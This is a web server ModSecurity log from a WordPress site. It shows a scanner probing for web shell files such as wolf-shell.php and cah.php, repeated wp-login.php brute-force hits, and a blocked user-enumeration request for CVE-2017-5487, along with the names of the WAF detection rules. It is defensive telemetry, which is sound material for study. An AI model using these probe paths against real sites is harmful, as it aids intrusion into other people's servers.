[Sun Mar 01 10:12:00.435202 2026] [:error] [pid 8688:tid 8694] [client 52.231.70.237:5269] [client 52.231.70.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aaOgcDHJ4Nn-RvulD0rQ8gAAAUQ"]
[Sun Mar 01 11:10:31.981110 2026] [:error] [pid 34785:tid 34797] [client 185.246.164.237:36978] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.246.164.237, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOuJ4C4dBNEGEcJx-N6JAAAAwo"]
[Sun Mar 01 11:19:49.152693 2026] [:error] [pid 33539:tid 33563] [client 20.223.198.174:16446] [client 20.223.198.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/cah.php"] [unique_id "aaOwVdCsLwBYg4s018u89wAAAdE"]
[Sun Mar 01 11:20:34.458639 2026] [:error] [pid 35654:tid 35666] [client 85.11.167.108:55236] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwgkIPeuEwCTirofKLEgAAA8g"], referer: https://t.co/
[Sun Mar 01 11:20:38.107312 2026] [:error] [pid 35060:tid 35071] [client 85.11.167.108:58961] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwhpL8JPoS_tq-tiUGeQAAA0k"], referer: https://t.co/
[Sun Mar 01 11:20:42.791605 2026] [:error] [pid 21159:tid 21243] [client 85.11.167.108:64874] [client 85.11.167.108] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aaOwiuLi3ouy1NZIkgpQvAAAAJY"], referer: https://www.bing.com/
[Sun Mar 01 11:20:43.048166 2026] [:error] [pid 21159:tid 21243] [client 85.11.167.108:64874] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwi-Li3ouy1NZIkgpQvgAAAJY"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:20:50.740234 2026] [:error] [pid 35060:tid 35064] [client 20.223.198.174:1213] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaOwkpL8JPoS_tq-tiUGmQAAA0I"]
[Sun Mar 01 11:20:51.255153 2026] [:error] [pid 21263:tid 21274] [client 20.223.198.174:15418] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaOwk9AxjzLvN1upBhkexgAAAMc"]
[Sun Mar 01 11:20:51.754102 2026] [:error] [pid 21158:tid 21207] [client 20.223.198.174:10133] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaOwkzriSIe3-pWnbPYLKQAAAE4"]
[Sun Mar 01 11:20:52.252793 2026] [:error] [pid 21263:tid 21270] [client 20.223.198.174:12194] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wolf-shell.php"] [unique_id "aaOwlNAxjzLvN1upBhkexwAAAMM"]
[Sun Mar 01 11:20:52.751310 2026] [:error] [pid 35060:tid 35064] [client 20.223.198.174:5397] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaOwlJL8JPoS_tq-tiUGogAAA0I"]
[Sun Mar 01 11:20:53.251693 2026] [:error] [pid 21159:tid 21235] [client 20.223.198.174:15147] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaOwleLi3ouy1NZIkgpQ0QAAAI4"]
[Sun Mar 01 11:20:53.544044 2026] [:error] [pid 33767:tid 33788] [client 85.11.167.108:16897] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwlUGyeKe3MWsxvBgQdgAAAhI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:20:53.751670 2026] [:error] [pid 21263:tid 21270] [client 20.223.198.174:12175] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaOwldAxjzLvN1upBhke0gAAAMM"]
[Sun Mar 01 11:20:54.250039 2026] [:error] [pid 24576:tid 24600] [client 20.223.198.174:12193] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/core.php"] [unique_id "aaOwlovfb5CnctJh071FIwAAARQ"]
[Sun Mar 01 11:20:54.747321 2026] [:error] [pid 21159:tid 21243] [client 20.223.198.174:2886] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aaOwluLi3ouy1NZIkgpQ0wAAAJY"]
[Sun Mar 01 11:20:55.248119 2026] [:error] [pid 33539:tid 33546] [client 20.223.198.174:9355] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aaOwl9CsLwBYg4s018u9NwAAAcE"]
[Sun Mar 01 11:20:55.747606 2026] [:error] [pid 21263:tid 21285] [client 20.223.198.174:12212] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aaOwl9AxjzLvN1upBhke2AAAANI"]
[Sun Mar 01 11:20:56.246222 2026] [:error] [pid 34785:tid 34796] [client 20.223.198.174:5136] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aaOwmIC4dBNEGEcJx-OAzwAAAwk"]
[Sun Mar 01 11:20:56.598235 2026] [:error] [pid 34552:tid 34579] [client 85.11.167.108:25769] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwmHBlU_DRqGi4yvsTfQAAAtg"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:20:56.750533 2026] [:error] [pid 35654:tid 35663] [client 20.223.198.174:12183] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asf.php"] [unique_id "aaOwmEIPeuEwCTirofKLOwAAA8U"]
[Sun Mar 01 11:20:57.251850 2026] [:error] [pid 33539:tid 33563] [client 20.223.198.174:3990] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asf.php"] [unique_id "aaOwmdCsLwBYg4s018u9PQAAAdE"]
[Sun Mar 01 11:20:57.759706 2026] [:error] [pid 33539:tid 33546] [client 20.223.198.174:11400] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asf.php"] [unique_id "aaOwmdCsLwBYg4s018u9QAAAAcE"]
[Sun Mar 01 11:20:58.264939 2026] [:error] [pid 33767:tid 33788] [client 20.223.198.174:12208] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asf.php"] [unique_id "aaOwmkGyeKe3MWsxvBgQeAAAAhI"]
[Sun Mar 01 11:20:58.780409 2026] [:error] [pid 35654:tid 35663] [client 20.223.198.174:12804] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php"] [unique_id "aaOwmkIPeuEwCTirofKLPwAAA8U"]
[Sun Mar 01 11:20:59.278475 2026] [:error] [pid 34785:tid 34798] [client 20.223.198.174:2415] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php"] [unique_id "aaOwm4C4dBNEGEcJx-OA3gAAAws"]
[Sun Mar 01 11:20:59.777257 2026] [:error] [pid 21263:tid 21285] [client 20.223.198.174:15114] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php"] [unique_id "aaOwm9AxjzLvN1upBhke3gAAANI"]
[Sun Mar 01 11:21:00.276490 2026] [:error] [pid 33539:tid 33563] [client 20.223.198.174:12504] [client 20.223.198.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php"] [unique_id "aaOwnNCsLwBYg4s018u9QwAAAdE"]
[Sun Mar 01 11:21:05.706277 2026] [:error] [pid 33767:tid 33773] [client 85.11.167.108:32717] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwoUGyeKe3MWsxvBgQjgAAAgM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:21:08.579285 2026] [:error] [pid 21263:tid 21285] [client 85.11.167.108:40445] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwpNAxjzLvN1upBhke9gAAANI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:21:17.686117 2026] [:error] [pid 21158:tid 21206] [client 85.11.167.108:47343] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwrTriSIe3-pWnbPYLQwAAAE0"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:21:20.530779 2026] [:error] [pid 33976:tid 33994] [client 85.11.167.108:54771] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwsAUyU3c4Xm_xpMTExwAAAlA"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:21:29.699309 2026] [:error] [pid 35350:tid 35367] [client 85.11.167.108:61502] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwuYqZbPJ_JGYY1RT6NwAAA48"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:21:32.569336 2026] [:error] [pid 24576:tid 24582] [client 85.11.167.108:13457] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwvIvfb5CnctJh071FewAAAQM"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:21:41.493527 2026] [:error] [pid 33767:tid 33772] [client 85.11.167.108:20196] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwxUGyeKe3MWsxvBgRCAAAAgI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:21:44.521497 2026] [:error] [pid 35350:tid 35367] [client 85.11.167.108:27659] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOwyIqZbPJ_JGYY1RT6VAAAA48"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:21:54.038211 2026] [:error] [pid 35350:tid 35373] [client 85.11.167.108:34511] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOw0oqZbPJ_JGYY1RT6YwAAA5U"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:21:57.386611 2026] [:error] [pid 21159:tid 21235] [client 85.11.167.108:43260] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOw1eLi3ouy1NZIkgpQ9QAAAI4"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:22:13.067960 2026] [:error] [pid 33767:tid 33788] [client 85.11.167.108:58571] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOw5UGyeKe3MWsxvBgRagAAAhI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:22:15.986264 2026] [:error] [pid 33767:tid 33782] [client 85.11.167.108:65076] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOw50GyeKe3MWsxvBgRdwAAAgw"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:22:25.063610 2026] [:error] [pid 35654:tid 35681] [client 85.11.167.108:16175] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOw8UIPeuEwCTirofKLnwAAA9c"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:22:27.914888 2026] [:error] [pid 33767:tid 33782] [client 85.11.167.108:23855] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOw80GyeKe3MWsxvBgRmAAAAgw"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:22:36.895609 2026] [:error] [pid 33767:tid 33772] [client 85.11.167.108:30831] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOw_EGyeKe3MWsxvBgRpQAAAgI"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:22:39.785700 2026] [:error] [pid 35654:tid 35664] [client 85.11.167.108:38365] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOw_0IPeuEwCTirofKLtAAAA8Y"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:22:49.753661 2026] [:error] [pid 35060:tid 35071] [client 85.11.167.108:44953] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxCZL8JPoS_tq-tiUHpgAAA0k"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:22:53.148759 2026] [:error] [pid 24576:tid 24600] [client 85.11.167.108:53830] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxDYvfb5CnctJh071GMAAAARQ"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:23:04.342903 2026] [:error] [pid 35654:tid 35663] [client 85.11.167.108:63191] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxGEIPeuEwCTirofKMEQAAA8U"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:23:07.319023 2026] [:error] [pid 33539:tid 33563] [client 85.11.167.108:15322] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxG9CsLwBYg4s018u9oAAAAdE"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:23:16.127136 2026] [:error] [pid 34785:tid 34798] [client 85.11.167.108:21993] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxJIC4dBNEGEcJx-OCQwAAAws"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:23:18.922167 2026] [:error] [pid 34552:tid 34576] [client 85.11.167.108:29267] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxJnBlU_DRqGi4yvsUXQAAAtU"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:23:27.701289 2026] [:error] [pid 35654:tid 35660] [client 85.11.167.108:35971] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxL0IPeuEwCTirofKMQAAAA8I"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:23:30.585815 2026] [:error] [pid 35350:tid 35368] [client 85.11.167.108:43336] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxMoqZbPJ_JGYY1RT7AQAAA5A"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:23:39.806532 2026] [:error] [pid 35654:tid 35666] [client 85.11.167.108:49899] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxO0IPeuEwCTirofKMXQAAA8g"], referer: http://vetstars.com.au/wp-login.php
[Sun Mar 01 11:23:42.723933 2026] [:error] [pid 35350:tid 35370] [client 85.11.167.108:57450] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaOxPoqZbPJ_JGYY1RT7HQAAA5I"], referer: http://vetstars.com.au/wp-login.php
